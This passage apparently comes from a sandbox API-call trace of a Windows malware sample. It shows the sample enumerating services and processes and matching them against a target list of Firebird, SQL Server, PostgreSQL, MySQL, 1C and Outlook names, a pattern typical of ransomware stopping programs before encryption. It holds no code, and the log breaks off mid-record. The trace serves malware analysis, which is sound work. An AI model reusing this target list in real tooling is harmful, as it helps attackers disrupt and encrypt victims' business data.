lpString2="DcomLaunch") returned 1 [0144.227] lstrlenW (lpString="Dhcp") returned 4 [0144.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0144.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0144.227] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0144.227] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0144.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0144.227] lstrlenW (lpString="Dnscache") returned 8 [0144.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0144.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0144.227] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0144.227] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0144.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0144.227] lstrlenW (lpString="DPS") returned 3 [0144.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0144.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0144.227] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0144.227] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0144.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0144.227] lstrlenW (lpString="eventlog") returned 8 [0144.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0144.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0144.228] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0144.228] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0144.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0144.228] lstrlenW (lpString="EventSystem") returned 11 [0144.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0144.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0144.228] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0144.228] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0144.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0144.228] lstrlenW (lpString="gpsvc") returned 5 [0144.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0144.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0144.228] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0144.228] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0144.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0144.228] lstrlenW (lpString="LanmanWorkstation") returned 17 [0144.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0144.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0144.228] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0144.228] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0144.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0144.228] lstrlenW (lpString="lmhosts") returned 7 [0144.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0144.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0144.228] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0144.228] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0144.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0144.228] lstrlenW (lpString="MMCSS") returned 5 [0144.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0144.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0144.228] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0144.228] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0144.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0144.228] lstrlenW (lpString="MpsSvc") returned 6 [0144.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0144.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0144.229] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0144.229] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0144.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0144.229] lstrlenW (lpString="NlaSvc") returned 6 [0144.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0144.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0144.229] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0144.229] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0144.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0144.229] lstrlenW (lpString="nsi") returned 3 [0144.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0144.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0144.229] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0144.229] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0144.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0144.229] lstrlenW (lpString="PcaSvc") returned 6 [0144.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0144.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0144.229] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0144.229] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0144.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0144.229] lstrlenW (lpString="PlugPlay") returned 8 [0144.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0144.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0144.229] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0144.229] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0144.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0144.229] lstrlenW (lpString="Power") returned 5 [0144.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0144.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0144.229] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0144.229] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0144.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0144.229] lstrlenW (lpString="ProfSvc") returned 7 [0144.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0144.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0144.230] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0144.230] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0144.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0144.230] lstrlenW (lpString="RpcEptMapper") returned 12 [0144.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0144.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0144.230] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0144.230] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0144.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0144.230] lstrlenW (lpString="RpcSs") returned 5 [0144.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0144.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0144.230] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0144.230] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0144.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0144.230] lstrlenW (lpString="SamSs") returned 5 [0144.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0144.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0144.230] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0144.230] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0144.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0144.230] lstrlenW (lpString="Schedule") returned 8 [0144.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0144.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0144.230] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0144.230] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0144.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0144.230] lstrlenW (lpString="SENS") returned 4 [0144.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0144.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0144.230] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0144.230] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0144.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0144.231] lstrlenW (lpString="ShellHWDetection") returned 16 [0144.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0144.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0144.231] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0144.231] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0144.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0144.231] lstrlenW (lpString="Spooler") returned 7 [0144.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0144.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0144.231] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0144.231] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0144.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0144.231] lstrlenW (lpString="SysMain") returned 7 [0144.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0144.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0144.231] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0144.231] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0144.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0144.231] lstrlenW (lpString="Themes") returned 6 [0144.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0144.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0144.231] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0144.231] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0144.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0144.231] lstrlenW (lpString="TrkWks") returned 6 [0144.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0144.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0144.231] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0144.231] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0144.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0144.231] lstrlenW (lpString="UxSms") returned 5 [0144.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0144.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0144.231] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0144.231] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0144.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0144.232] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4241058 | out: hHeap=0x880000) returned 1 [0144.232] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x390 [0144.233] Process32FirstW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0144.234] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0144.234] lstrlenW (lpString="System") returned 6 [0144.234] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0144.234] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0144.234] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0144.234] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0144.234] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0144.234] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0144.234] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0144.234] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0144.235] lstrlenW (lpString="smss.exe") returned 8 [0144.235] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0144.235] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0144.235] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0144.235] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0144.235] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0144.235] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0144.235] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0144.235] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0144.235] lstrlenW (lpString="csrss.exe") returned 9 [0144.235] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0144.235] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0144.235] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0144.235] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0144.235] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0144.235] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0144.235] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0144.235] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0144.236] lstrlenW (lpString="wininit.exe") returned 11 [0144.236] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0144.236] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0144.236] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0144.236] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0144.236] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0144.236] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0144.236] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0144.236] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0144.236] lstrlenW (lpString="csrss.exe") returned 9 [0144.236] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0144.236] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0144.236] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0144.236] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0144.236] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0144.236] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0144.236] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0144.236] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0144.237] lstrlenW (lpString="winlogon.exe") returned 12 [0144.237] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0144.237] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0144.237] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0144.237] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0144.237] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0144.237] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0144.237] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0144.237] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0144.237] lstrlenW (lpString="services.exe") returned 12 [0144.237] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0144.237] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0144.237] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0144.237] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0144.237] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0144.237] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0144.237] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0144.237] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0144.238] lstrlenW (lpString="lsass.exe") returned 9 [0144.238] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0144.238] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0144.238] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0144.238] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0144.238] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0144.238] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0144.238] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0144.238] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0144.238] lstrlenW (lpString="lsm.exe") returned 7 [0144.238] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0144.238] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0144.238] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0144.238] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0144.238] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0144.238] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0144.239] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0144.239] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.240] lstrlenW (lpString="svchost.exe") returned 11 [0144.240] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0144.240] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0144.240] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0144.240] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0144.240] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0144.240] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0144.240] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0144.240] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.240] lstrlenW (lpString="svchost.exe") returned 11 [0144.240] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0144.240] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0144.240] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0144.240] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0144.240] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0144.240] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0144.240] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0144.240] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.241] lstrlenW (lpString="svchost.exe") returned 11 [0144.241] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0144.241] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0144.241] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0144.241] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0144.241] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0144.241] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0144.241] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0144.241] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.241] lstrlenW (lpString="svchost.exe") returned 11 [0144.241] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.242] lstrlenW (lpString="svchost.exe") returned 11 [0144.242] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0144.242] lstrlenW (lpString="audiodg.exe") returned 11 [0144.242] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.242] lstrlenW (lpString="svchost.exe") returned 11 [0144.242] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0144.243] lstrlenW (lpString="userinit.exe") returned 12 [0144.243] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0144.243] lstrlenW (lpString="explorer.exe") returned 12 [0144.243] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, 